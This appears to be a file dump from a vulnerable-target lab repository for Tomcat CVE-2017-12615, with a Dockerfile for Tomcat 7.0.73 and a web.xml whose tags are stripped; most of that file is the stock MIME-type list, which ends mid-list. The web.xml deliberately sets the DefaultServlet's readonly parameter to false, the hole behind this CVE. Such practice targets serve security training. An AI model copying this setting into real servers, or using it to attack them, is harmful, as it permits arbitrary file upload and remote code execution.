https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/tomcat/CVE-2017-12615/1.png -------------------------------------------------------------------------------- /tomcat/CVE-2017-12615/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/tomcat/CVE-2017-12615/2.png -------------------------------------------------------------------------------- /tomcat/CVE-2017-12615/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM custom/tomcat:7.0.73 2 | MAINTAINER pez1420 pez1420@gmail.com 3 | ADD web.xml /usr/local/apache-tomcat-7.0.73/conf/ 4 | CMD ["/usr/local/apache-tomcat-7.0.73/bin/catalina.sh", "run"] 5 | EXPOSE 8080 -------------------------------------------------------------------------------- /tomcat/CVE-2017-12615/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JavaPentesters/java_vul_target/4d568fe4afd66286e66c8017cdd2fd7ba6df8132/tomcat/CVE-2017-12615/README.md -------------------------------------------------------------------------------- /tomcat/CVE-2017-12615/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 18 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | default 105 | org.apache.catalina.servlets.DefaultServlet 106 | 107 | debug 108 | 0 109 | 110 | 111 | listings 112 | false 113 | 114 | 115 | readonly 116 | false 117 | 118 | 1 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | jsp 252 | org.apache.jasper.servlet.JspServlet 253 | 254 | fork 255 | false 256 | 257 | 258 | xpoweredBy 259 | false 260 | 261 | 3 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | default 384 | / 385 | 386 | 387 | 388 | 389 | jsp 390 | *.jsp 391 | *.jspx 392 | 393 | 394 | 395 | 401 | 402 | 403 | 404 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 453 | 454 | 455 | 456 | 467 | 468 | 469 | 470 | 471 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 538 | 539 | 540 | 541 | 542 | 543 | 550 | 551 | 552 | 558 | 559 | 560 | 566 | 567 | 568 | 574 | 575 | 576 | 577 | 578 | 579 | 580 | 581 | 30 582 | 583 | 584 | 585 | 586 | 587 | 588 | 589 | 590 | 591 | 592 | 593 | 123 594 | application/vnd.lotus-1-2-3 595 | 596 | 597 | 3dml 598 | text/vnd.in3d.3dml 599 | 600 | 601 | 3ds 602 | image/x-3ds 603 | 604 | 605 | 3g2 606 | video/3gpp2 607 | 608 | 609 | 3gp 610 | video/3gpp 611 | 612 | 613 | 7z 614 | application/x-7z-compressed 615 | 616 | 617 | aab 618 | application/x-authorware-bin 619 | 620 | 621 | aac 622 | audio/x-aac 623 | 624 | 625 | aam 626 | application/x-authorware-map 627 | 628 | 629 | aas 630 | application/x-authorware-seg 631 | 632 | 633 | abs 634 | audio/x-mpeg 635 | 636 | 637 | abw 638 | application/x-abiword 639 | 640 | 641 | ac 642 | application/pkix-attr-cert 643 | 644 | 645 | acc 646 | application/vnd.americandynamics.acc 647 | 648 | 649 | ace 650 | application/x-ace-compressed 651 | 652 | 653 | acu 654 | application/vnd.acucobol 655 | 656 | 657 | acutc 658 | application/vnd.acucorp 659 | 660 | 661 | adp 662 | audio/adpcm 663 | 664 | 665 | aep 666 | application/vnd.audiograph 667 | 668 | 669 | afm 670 | application/x-font-type1 671 | 672 | 673 | afp 674 | application/vnd.ibm.modcap 675 | 676 | 677 | ahead 678 | application/vnd.ahead.space 679 | 680 | 681 | ai 682 | application/postscript 683 | 684 | 685 | aif 686 | audio/x-aiff 687 | 688 | 689 | aifc 690 | audio/x-aiff 691 | 692 | 693 | aiff 694 | audio/x-aiff 695 | 696 | 697 | aim 698 | application/x-aim 699 | 700 | 701 | air 702 | application/vnd.adobe.air-application-installer-package+zip 703 | 704 | 705 | ait 706 | application/vnd.dvb.ait 707 | 708 | 709 | ami 710 | application/vnd.amiga.ami 711 | 712 | 713 | anx 714 | application/annodex 715 | 716 | 717 | apk 718 | application/vnd.android.package-archive 719 | 720 | 721 | appcache 722 | text/cache-manifest 723 | 724 | 725 | application 726 | application/x-ms-application 727 | 728 | 729 | apr 730 | application/vnd.lotus-approach 731 | 732 | 733 | arc 734 | application/x-freearc 735 | 736 | 737 | art 738 | image/x-jg 739 | 740 | 741 | asc 742 | application/pgp-signature 743 | 744 | 745 | asf 746 | video/x-ms-asf 747 | 748 | 749 | asm 750 | text/x-asm 751 | 752 | 753 | aso 754 | application/vnd.accpac.simply.aso 755 | 756 | 757 | asx 758 | video/x-ms-asf 759 | 760 | 761 | atc 762 | application/vnd.acucorp 763 | 764 | 765 | atom 766 | application/atom+xml 767 | 768 | 769 | atomcat 770 | application/atomcat+xml 771 | 772 | 773 | atomsvc 774 | application/atomsvc+xml 775 | 776 | 777 | atx 778 | application/vnd.antix.game-component 779 | 780 | 781 | au 782 | audio/basic 783 | 784 | 785 | avi 786 | video/x-msvideo 787 | 788 | 789 | avx 790 | video/x-rad-screenplay 791 | 792 | 793 | aw 794 | application/applixware 795 | 796 | 797 | axa 798 | audio/annodex 799 | 800 | 801 | axv 802 | video/annodex 803 | 804 | 805 | azf 806 | application/vnd.airzip.filesecure.azf 807 | 808 | 809 | azs 810 | application/vnd.airzip.filesecure.azs 811 | 812 | 813 | azw 814 | application/vnd.amazon.ebook 815 | 816 | 817 | bat 818 | application/x-msdownload 819 | 820 | 821 | bcpio 822 | application/x-bcpio 823 | 824 | 825 | bdf 826 | application/x-font-bdf 827 | 828 | 829 | bdm 830 | application/vnd.syncml.dm+wbxml 831 | 832 | 833 | bed 834 | application/vnd.realvnc.bed 835 | 836 | 837 | bh2 838 | application/vnd.fujitsu.oasysprs 839 | 840 | 841 | bin 842 | application/octet-stream 843 | 844 | 845 | blb 846 | application/x-blorb 847 | 848 | 849 | blorb 850 | application/x-blorb 851 | 852 | 853 | bmi 854 | application/vnd.bmi 855 | 856 | 857 | bmp 858 | image/bmp 859 | 860 | 861 | body 862 | text/html 863 | 864 | 865 | book 866 | application/vnd.framemaker 867 | 868 | 869 | box 870 | application/vnd.previewsystems.box 871 | 872 | 873 | boz 874 | application/x-bzip2 875 | 876 | 877 | bpk 878 | application/octet-stream 879 | 880 | 881 | btif 882 | image/prs.btif 883 | 884 | 885 | bz 886 | application/x-bzip 887 | 888 | 889 | bz2 890 | application/x-bzip2 891 | 892 | 893 | c 894 | text/x-c 895 | 896 | 897 | c11amc 898 | application/vnd.cluetrust.cartomobile-config 899 | 900 | 901 | c11amz 902 | application/vnd.cluetrust.cartomobile-config-pkg 903 | 904 | 905 | c4d 906 | application/vnd.clonk.c4group 907 | 908 | 909 | c4f 910 | application/vnd.clonk.c4group 911 | 912 | 913 | c4g 914 | application/vnd.clonk.c4group 915 | 916 | 917 | c4p 918 | application/vnd.clonk.c4group 919 | 920 | 921 | c4u 922 | application/vnd.clonk.c4group 923 | 924 | 925 | cab 926 | application/vnd.ms-cab-compressed 927 | 928 | 929 | caf 930 | audio/x-caf 931 | 932 | 933 | cap 934 | application/vnd.tcpdump.pcap 935 | 936 | 937 | car 938 | application/vnd.curl.car 939 | 940 | 941 | cat 942 | application/vnd.ms-pki.seccat 943 | 944 | 945 | cb7 946 | application/x-cbr 947 | 948 | 949 | cba 950 | application/x-cbr 951 | 952 | 953 | cbr 954 | application/x-cbr 955 | 956 | 957 | cbt 958 | application/x-cbr 959 | 960 | 961 | cbz 962 | application/x-cbr 963 | 964 | 965 | cc 966 | text/x-c 967 | 968 | 969 | cct 970 | application/x-director 971 | 972 | 973 | ccxml 974 | application/ccxml+xml 975 | 976 | 977 | cdbcmsg 978 | application/vnd.contact.cmsg 979 | 980 | 981 | cdf 982 | application/x-cdf 983 | 984 | 985 | cdkey 986 | application/vnd.mediastation.cdkey 987 | 988 | 989 | cdmia 990 | application/cdmi-capability 991 | 992 | 993 | cdmic 994 | application/cdmi-container 995 | 996 | 997 | cdmid 998 | application/cdmi-domain 999 | 1000 | 1001 | cdmio 1002 | application/cdmi-object 1003 | 1004 | 1005 | cdmiq 1006 | application/cdmi-queue 1007 | 1008 | 1009 | cdx 1010 | chemical/x-cdx 1011 | 1012 | 1013 | cdxml 1014 | application/vnd.chemdraw+xml 1015 | 1016 | 1017 | cdy 1018 | application/vnd.cinderella 1019 | 1020 | 1021 | cer 1022 | application/pkix-cert 1023 | 1024 | 1025 | cfs 1026 | application/x-cfs-compressed 1027 | 1028 | 1029 | cgm 1030 | image/cgm 1031 | 1032 | 1033 | chat 1034 | application/x-chat 1035 | 1036 | 1037 | chm 1038 | application/vnd.ms-htmlhelp 1039 | 1040 | 1041 | chrt 1042 | application/vnd.kde.kchart 1043 | 1044 | 1045 | cif 1046 | chemical/x-cif 1047 | 1048 | 1049 | cii 1050 | application/vnd.anser-web-certificate-issue-initiation 1051 | 1052 | 1053 | cil 1054 | application/vnd.ms-artgalry 1055 | 1056 | 1057 | cla 1058 | application/vnd.claymore 1059 | 1060 | 1061 | class 1062 | application/java 1063 | 1064 | 1065 | clkk 1066 | application/vnd.crick.clicker.keyboard 1067 | 1068 | 1069 | clkp 1070 | application/vnd.crick.clicker.palette 1071 | 1072 | 1073 | clkt 1074 | application/vnd.crick.clicker.template 1075 | 1076 | 1077 | clkw 1078 | application/vnd.crick.clicker.wordbank 1079 | 1080 | 1081 | clkx 1082 | application/vnd.crick.clicker 1083 | 1084 | 1085 | clp 1086 | application/x-msclip 1087 | 1088 | 1089 | cmc 1090 | application/vnd.cosmocaller 1091 | 1092 | 1093 | cmdf 1094 | chemical/x-cmdf 1095 | 1096 | 1097 | cml 1098 | chemical/x-cml 1099 | 1100 | 1101 | cmp 1102 | application/vnd.yellowriver-custom-menu 1103 | 1104 | 1105 | cmx 1106 | image/x-cmx 1107 | 1108 | 1109 | cod 1110 | application/vnd.rim.cod 1111 | 1112 | 1113 | com 1114 | application/x-msdownload 1115 | 1116 | 1117 | conf 1118 | text/plain 1119 | 1120 | 1121 | cpio 1122 | application/x-cpio 1123 | 1124 | 1125 | cpp 1126 | text/x-c 1127 | 1128 | 1129 | cpt 1130 | application/mac-compactpro 1131 | 1132 | 1133 | crd 1134 | application/x-mscardfile 1135 | 1136 | 1137 | crl 1138 | application/pkix-crl 1139 | 1140 | 1141 | crt 1142 | application/x-x509-ca-cert 1143 | 1144 | 1145 | cryptonote 1146 | application/vnd.rig.cryptonote 1147 | 1148 | 1149 | csh 1150 | application/x-csh 1151 | 1152 | 1153 | csml 1154 | chemical/x-csml 1155 | 1156 | 1157 | csp 1158 | application/vnd.commonspace 1159 | 1160 | 1161 | css 1162 | text/css 1163 | 1164 | 1165 | cst 1166 | application/x-director 1167 | 1168 | 1169 | csv 1170 | text/csv 1171 | 1172 | 1173 | cu 1174 | application/cu-seeme 1175 | 1176 | 1177 | curl 1178 | text/vnd.curl 1179 | 1180 | 1181 | cww 1182 | application/prs.cww 1183 | 1184 | 1185 | cxt 1186 | application/x-director 1187 | 1188 | 1189 | cxx 1190 | text/x-c 1191 | 1192 | 1193 | dae 1194 | model/vnd.collada+xml 1195 | 1196 | 1197 | daf 1198 | application/vnd.mobius.daf 1199 | 1200 | 1201 | dart 1202 | application/vnd.dart 1203 | 1204 | 1205 | dataless 1206 | application/vnd.fdsn.seed 1207 | 1208 | 1209 | davmount 1210 | application/davmount+xml 1211 | 1212 | 1213 | dbk 1214 | application/docbook+xml 1215 | 1216 | 1217 | dcr 1218 | application/x-director 1219 | 1220 | 1221 | dcurl 1222 | text/vnd.curl.dcurl 1223 | 1224 | 1225 | dd2 1226 | application/vnd.oma.dd2+xml 1227 | 1228 | 1229 | ddd 1230 | application/vnd.fujixerox.ddd 1231 | 1232 | 1233 | deb 1234 | application/x-debian-package 1235 | 1236 | 1237 | def 1238 | text/plain 1239 | 1240 | 1241 | deploy 1242 | application/octet-stream 1243 | 1244 | 1245 | der 1246 | application/x-x509-ca-cert 1247 | 1248 | 1249 | dfac 1250 | application/vnd.dreamfactory 1251 | 1252 | 1253 | dgc 1254 | application/x-dgc-compressed 1255 | 1256 | 1257 | dib 1258 | image/bmp 1259 | 1260 | 1261 | dic 1262 | text/x-c 1263 | 1264 | 1265 | dir 1266 | application/x-director 1267 | 1268 | 1269 | dis 1270 | application/vnd.mobius.dis 1271 | 1272 | 1273 | dist 1274 | application/octet-stream 1275 | 1276 | 1277 | distz 1278 | application/octet-stream 1279 | 1280 | 1281 | djv 1282 | image/vnd.djvu 1283 | 1284 | 1285 | djvu 1286 | image/vnd.djvu 1287 | 1288 | 1289 | dll 1290 | application/x-msdownload 1291 | 1292 | 1293 | dmg 1294 | application/x-apple-diskimage 1295 | 1296 | 1297 | dmp 1298 | application/vnd.tcpdump.pcap 1299 | 1300 | 1301 | dms 1302 | application/octet-stream 1303 | 1304 | 1305 | dna 1306 | application/vnd.dna 1307 | 1308 | 1309 | doc 1310 | application/msword 1311 | 1312 | 1313 | docm 1314 | application/vnd.ms-word.document.macroenabled.12 1315 | 1316 | 1317 | docx 1318 | application/vnd.openxmlformats-officedocument.wordprocessingml.document 1319 | 1320 | 1321 | dot 1322 | application/msword 1323 | 1324 | 1325 | dotm 1326 | application/vnd.ms-word.template.macroenabled.12 1327 | 1328 | 1329 | dotx 1330 | application/vnd.openxmlformats-officedocument.wordprocessingml.template 1331 | 1332 | 1333 | dp 1334 | application/vnd.osgi.dp 1335 | 1336 | 1337 | dpg 1338 | application/vnd.dpgraph 1339 | 1340 | 1341 | dra 1342 | audio/vnd.dra 1343 | 1344 | 1345 | dsc 1346 | text/prs.lines.tag 1347 | 1348 | 1349 | dssc 1350 | application/dssc+der 1351 | 1352 | 1353 | dtb 1354 | application/x-dtbook+xml 1355 | 1356 | 1357 | dtd 1358 | application/xml-dtd 1359 | 1360 | 1361 | dts 1362 | audio/vnd.dts 1363 | 1364 | 1365 | dtshd 1366 | audio/vnd.dts.hd 1367 | 1368 | 1369 | dump 1370 | application/octet-stream 1371 | 1372 | 1373 | dv 1374 | video/x-dv 1375 | 1376 | 1377 | dvb 1378 | video/vnd.dvb.file 1379 | 1380 | 1381 | dvi 1382 | application/x-dvi 1383 | 1384 | 1385 | dwf 1386 | model/vnd.dwf 1387 | 1388 | 1389 | dwg 1390 | image/vnd.dwg 1391 | 1392 | 1393 | dxf 1394 | image/vnd.dxf 1395 | 1396 | 1397 | dxp 1398 | application/vnd.spotfire.dxp 1399 | 1400 | 1401 | dxr 1402 | application/x-director 1403 | 1404 | 1405 | ecelp4800 1406 | audio/vnd.nuera.ecelp4800 1407 | 1408 | 1409 | ecelp7470 1410 | audio/vnd.nuera.ecelp7470 1411 | 1412 | 1413 | ecelp9600 1414 | audio/vnd.nuera.ecelp9600 1415 | 1416 | 1417 | ecma 1418 | application/ecmascript 1419 | 1420 | 1421 | edm 1422 | application/vnd.novadigm.edm 1423 | 1424 | 1425 | edx 1426 | application/vnd.novadigm.edx 1427 | 1428 | 1429 | efif 1430 | application/vnd.picsel 1431 | 1432 | 1433 | ei6 1434 | application/vnd.pg.osasli 1435 | 1436 | 1437 | elc 1438 | application/octet-stream 1439 | 1440 | 1441 | emf 1442 | application/x-msmetafile 1443 | 1444 | 1445 | eml 1446 | message/rfc822 1447 | 1448 | 1449 | emma 1450 | application/emma+xml 1451 | 1452 | 1453 | emz 1454 | application/x-msmetafile 1455 | 1456 | 1457 | eol 1458 | audio/vnd.digital-winds 1459 | 1460 | 1461 | eot 1462 | application/vnd.ms-fontobject 1463 | 1464 | 1465 | eps 1466 | application/postscript 1467 | 1468 | 1469 | epub 1470 | application/epub+zip 1471 | 1472 | 1473 | es3 1474 | application/vnd.eszigno3+xml 1475 | 1476 | 1477 | esa 1478 | application/vnd.osgi.subsystem 1479 | 1480 | 1481 | esf 1482 | application/vnd.epson.esf 1483 | 1484 | 1485 | et3 1486 | application/vnd.eszigno3+xml 1487 | 1488 | 1489 | etx 1490 | text/x-setext 1491 | 1492 | 1493 | eva 1494 | application/x-eva 1495 | 1496 | 1497 | evy 1498 | application/x-envoy 1499 | 1500 | 1501 | exe 1502 | application/octet-stream 1503 | 1504 | 1505 | exi 1506 | application/exi 1507 | 1508 | 1509 | ext 1510 | application/vnd.novadigm.ext 1511 | 1512 | 1513 | ez 1514 | application/andrew-inset 1515 | 1516 | 1517 | ez2 1518 | application/vnd.ezpix-album 1519 | 1520 | 1521 | ez3 1522 | application/vnd.ezpix-package 1523 | 1524 | 1525 | f 1526 | text/x-fortran 1527 | 1528 | 1529 | f4v 1530 | video/x-f4v 1531 | 1532 | 1533 | f77 1534 | text/x-fortran 1535 | 1536 | 1537 | f90 1538 | text/x-fortran 1539 | 1540 | 1541 | fbs 1542 | image/vnd.fastbidsheet 1543 | 1544 | 1545 | fcdt 1546 | application/vnd.adobe.formscentral.fcdt 1547 | 1548 | 1549 | fcs 1550 | application/vnd.isac.fcs 1551 | 1552 | 1553 | fdf 1554 | application/vnd.fdf 1555 | 1556 | 1557 | fe_launch 1558 | application/vnd.denovo.fcselayout-link 1559 | 1560 | 1561 | fg5 1562 | application/vnd.fujitsu.oasysgp 1563 | 1564 | 1565 | fgd 1566 | application/x-director 1567 | 1568 | 1569 | fh 1570 | image/x-freehand 1571 | 1572 | 1573 | fh4 1574 | image/x-freehand 1575 | 1576 | 1577 | fh5 1578 | image/x-freehand 1579 | 1580 | 1581 | fh7 1582 | image/x-freehand 1583 | 1584 | 1585 | fhc 1586 | image/x-freehand 1587 | 1588 | 1589 | fig 1590 | application/x-xfig 1591 | 1592 | 1593 | flac 1594 | audio/flac 1595 | 1596 | 1597 | fli 1598 | video/x-fli 1599 | 1600 | 1601 | flo 1602 | application/vnd.micrografx.flo 1603 | 1604 | 1605 | flv 1606 | video/x-flv 1607 | 1608 | 1609 | flw 1610 | application/vnd.kde.kivio 1611 | 1612 | 1613 | flx 1614 | text/vnd.fmi.flexstor 1615 | 1616 | 1617 | fly 1618 | text/vnd.fly 1619 | 1620 | 1621 | fm 1622 | application/vnd.framemaker 1623 | 1624 | 1625 | fnc 1626 | application/vnd.frogans.fnc 1627 | 1628 | 1629 | for 1630 | text/x-fortran 1631 | 1632 | 1633 | fpx 1634 | image/vnd.fpx 1635 | 1636 | 1637 | frame 1638 | application/vnd.framemaker 1639 | 1640 | 1641 | fsc 1642 | application/vnd.fsc.weblaunch 1643 | 1644 | 1645 | fst 1646 | image/vnd.fst 1647 | 1648 | 1649 | ftc 1650 | application/vnd.fluxtime.clip 1651 | 1652 | 1653 | fti 1654 | application/vnd.anser-web-funds-transfer-initiation 1655 | 1656 | 1657 | fvt 1658 | video/vnd.fvt 1659 | 1660 | 1661 | fxp 1662 | application/vnd.adobe.fxp 1663 | 1664 | 1665 | fxpl 1666 | application/vnd.adobe.fxp 1667 | 1668 | 1669 | fzs 1670 | application/vnd.fuzzysheet 1671 | 1672 | 1673 | g2w 1674 | application/vnd.geoplan 1675 | 1676 | 1677 | g3 1678 | image/g3fax 1679 | 1680 | 1681 | g3w 1682 | application/vnd.geospace 1683 | 1684 | 1685 | gac 1686 | application/vnd.groove-account 1687 | 1688 | 1689 | gam 1690 | application/x-tads 1691 | 1692 | 1693 | gbr 1694 | application/rpki-ghostbusters 1695 | 1696 | 1697 | gca 1698 | application/x-gca-compressed 1699 | 1700 | 1701 | gdl 1702 | model/vnd.gdl 1703 | 1704 | 1705 | geo 1706 | application/vnd.dynageo 1707 | 1708 | 1709 | gex 1710 | application/vnd.geometry-explorer 1711 | 1712 | 1713 | ggb 1714 | application/vnd.geogebra.file 1715 | 1716 | 1717 | ggt 1718 | application/vnd.geogebra.tool 1719 | 1720 | 1721 | ghf 1722 | application/vnd.groove-help 1723 | 1724 | 1725 | gif 1726 | image/gif 1727 | 1728 | 1729 | gim 1730 | application/vnd.groove-identity-message 1731 | 1732 | 1733 | gml 1734 | application/gml+xml 1735 | 1736 | 1737 | gmx 1738 | application/vnd.gmx 1739 | 1740 | 1741 | gnumeric 1742 | application/x-gnumeric 1743 | 1744 | 1745 | gph 1746 | application/vnd.flographit 1747 | 1748 | 1749 | gpx 1750 | application/gpx+xml 1751 | 1752 | 1753 | gqf 1754 | application/vnd.grafeq 1755 | 1756 | 1757 | gqs 1758 | application/vnd.grafeq 1759 | 1760 | 1761 | gram 1762 | application/srgs 1763 | 1764 | 1765 | gramps 1766 | application/x-gramps-xml 1767 | 1768 | 1769 | gre 1770 | application/vnd.geometry-explorer 1771 | 1772 | 1773 | grv 1774 | application/vnd.groove-injector 1775 | 1776 | 1777 | grxml 1778 | application/srgs+xml 1779 | 1780 | 1781 | gsf 1782 | application/x-font-ghostscript 1783 | 1784 | 1785 | gtar 1786 | application/x-gtar 1787 | 1788 | 1789 | gtm 1790 | application/vnd.groove-tool-message 1791 | 1792 | 1793 | gtw 1794 | model/vnd.gtw 1795 | 1796 | 1797 | gv 1798 | text/vnd.graphviz 1799 | 1800 | 1801 | gxf 1802 | application/gxf 1803 | 1804 | 1805 | gxt 1806 | application/vnd.geonext 1807 | 1808 | 1809 | gz 1810 | application/x-gzip 1811 | 1812 | 1813 | h 1814 | text/x-c 1815 | 1816 | 1817 | h261 1818 | video/h261 1819 | 1820 | 1821 | h263 1822 | video/h263 1823 | 1824 | 1825 | h264 1826 | video/h264 1827 | 1828 | 1829 | hal 1830 | application/vnd.hal+xml 1831 | 1832 | 1833 | hbci 1834 | application/vnd.hbci 1835 | 1836 | 1837 | hdf 1838 | application/x-hdf 1839 | 1840 | 1841 | hh 1842 | text/x-c 1843 | 1844 | 1845 | hlp 1846 | application/winhlp 1847 | 1848 | 1849 | hpgl 1850 | application/vnd.hp-hpgl 1851 | 1852 | 1853 | hpid 1854 | application/vnd.hp-hpid 1855 | 1856 | 1857 | hps 1858 | application/vnd.hp-hps 1859 | 1860 | 1861 | hqx 1862 | application/mac-binhex40 1863 | 1864 | 1865 | htc 1866 | text/x-component 1867 | 1868 | 1869 | htke 1870 | application/vnd.kenameaapp 1871 | 1872 | 1873 | htm 1874 | text/html 1875 | 1876 | 1877 | html 1878 | text/html 1879 | 1880 | 1881 | hvd 1882 | application/vnd.yamaha.hv-dic 1883 | 1884 | 1885 | hvp 1886 | application/vnd.yamaha.hv-voice 1887 | 1888 | 1889 | hvs 1890 | application/vnd.yamaha.hv-script 1891 | 1892 | 1893 | i2g 1894 | application/vnd.intergeo 1895 | 1896 | 1897 | icc 1898 | application/vnd.iccprofile 1899 | 1900 | 1901 | ice 1902 | x-conference/x-cooltalk 1903 | 1904 | 1905 | icm 1906 | application/vnd.iccprofile 1907 | 1908 | 1909 | ico 1910 | image/x-icon 1911 | 1912 | 1913 | ics 1914 | text/calendar 1915 | 1916 | 1917 | ief 1918 | image/ief 1919 | 1920 | 1921 | ifb 1922 | text/calendar 1923 | 1924 | 1925 | ifm 1926 | application/vnd.shana.informed.formdata 1927 | 1928 | 1929 | iges 1930 | model/iges 1931 | 1932 | 1933 | igl 1934 | application/vnd.igloader 1935 | 1936 | 1937 | igm 1938 | application/vnd.insors.igm 1939 | 1940 | 1941 | igs 1942 | model/iges 1943 | 1944 | 1945 | igx 1946 | application/vnd.micrografx.igx 1947 | 1948 | 1949 | iif 1950 | application/vnd.shana.informed.interchange 1951 | 1952 | 1953 | imp 1954 | application/vnd.accpac.simply.imp 1955 | 1956 | 1957 | ims 1958 | application/vnd.ms-ims 1959 | 1960 | 1961 | in 1962 | text/plain 1963 | 1964 | 1965 | ink 1966 | application/inkml+xml 1967 | 1968 | 1969 | inkml 1970 | application/inkml+xml 1971 | 1972 | 1973 | install 1974 | application/x-install-instructions 1975 | 1976 | 1977 | iota 1978 | application/vnd.astraea-software.iota 1979 | 1980 | 1981 | ipfix 1982 | application/ipfix 1983 | 1984 | 1985 | ipk 1986 | application/vnd.shana.informed.package 1987 | 1988 | 1989 | irm 1990 | application/vnd.ibm.rights-management 1991 | 1992 | 1993 | irp 1994 | application/vnd.irepository.package+xml 1995 | 1996 | 1997 | iso 1998 | application/x-iso9660-image 1999 | 2000 | 2001 | itp 2002 | application/vnd.shana.informed.formtemplate 2003 | 2004 | 2005 | ivp 2006 | application/vnd.immervision-ivp 2007 | 2008 | 2009 | ivu 2010 | application/vnd.immervision-ivu 2011 | 2012 | 2013 | jad 2014 | text/vnd.sun.j2me.app-descriptor 2015 | 2016 | 2017 | jam 2018 | application/vnd.jam 2019 | 2020 | 2021 | jar 2022 | application/java-archive 2023 | 2024 | 2025 | java 2026 | text/x-java-source 2027 | 2028 | 2029 | jisp 2030 | application/vnd.jisp 2031 | 2032 | 2033 | jlt 2034 | application/vnd.hp-jlyt 2035 | 2036 | 2037 | jnlp 2038 | application/x-java-jnlp-file 2039 | 2040 | 2041 | joda 2042 | application/vnd.joost.joda-archive 2043 | 2044 | 2045 | jpe 2046 | image/jpeg 2047 | 2048 | 2049 | jpeg 2050 | image/jpeg 2051 | 2052 | 2053 | jpg 2054 | image/jpeg 2055 | 2056 | 2057 | jpgm 2058 | video/jpm 2059 | 2060 | 2061 | jpgv 2062 | video/jpeg 2063 | 2064 | 2065 | jpm 2066 | video/jpm 2067 | 2068 | 2069 | js 2070 | application/javascript 2071 | 2072 | 2073 | jsf 2074 | text/plain 2075 | 2076 | 2077 | json 2078 | application/json 2079 | 2080 | 2081 | jsonml 2082 | application/jsonml+json 2083 | 2084 | 2085 | jspf 2086 | text/plain 2087 | 2088 | 2089 | kar 2090 | audio/midi 2091 | 2092 | 2093 | karbon 2094 | application/vnd.kde.karbon 2095 | 2096 | 2097 | kfo 2098 | application/vnd.kde.kformula 2099 | 2100 | 2101 | kia 2102 | application/vnd.kidspiration 2103 | 2104 | 2105 | kml 2106 | application/vnd.google-earth.kml+xml 2107 | 2108 | 2109 | kmz 2110 | application/vnd.google-earth.kmz 2111 | 2112 | 2113 | kne 2114 | application/vnd.kinar 2115 | 2116 | 2117 | knp 2118 | application/vnd.kinar 2119 | 2120 | 2121 | kon 2122 | application/vnd.kde.kontour 2123 | 2124 | 2125 | kpr 2126 | application/vnd.kde.kpresenter 2127 | 2128 | 2129 | kpt 2130 | application/vnd.kde.kpresenter 2131 | 2132 | 2133 | kpxx 2134 | application/vnd.ds-keypoint 2135 | 2136 | 2137 | ksp 2138 | application/vnd.kde.kspread 2139 | 2140 | 2141 | ktr 2142 | application/vnd.kahootz 2143 | 2144 | 2145 | ktx 2146 | image/ktx 2147 | 2148 | 2149 | ktz 2150 | application/vnd.kahootz 2151 | 2152 | 2153 | kwd 2154 | application/vnd.kde.kword 2155 | 2156 | 2157 | kwt 2158 | application/vnd.kde.kword 2159 | 2160 | 2161 | lasxml 2162 | application/vnd.las.las+xml 2163 | 2164 | 2165 | latex 2166 | application/x-latex 2167 | 2168 | 2169 | lbd 2170 | application/vnd.llamagraphics.life-balance.desktop 2171 | 2172 | 2173 | lbe 2174 | application/vnd.llamagraphics.life-balance.exchange+xml 2175 | 2176 | 2177 | les 2178 | application/vnd.hhe.lesson-player 2179 | 2180 | 2181 | lha 2182 | application/x-lzh-compressed 2183 | 2184 | 2185 | link66 2186 | application/vnd.route66.link66+xml 2187 | 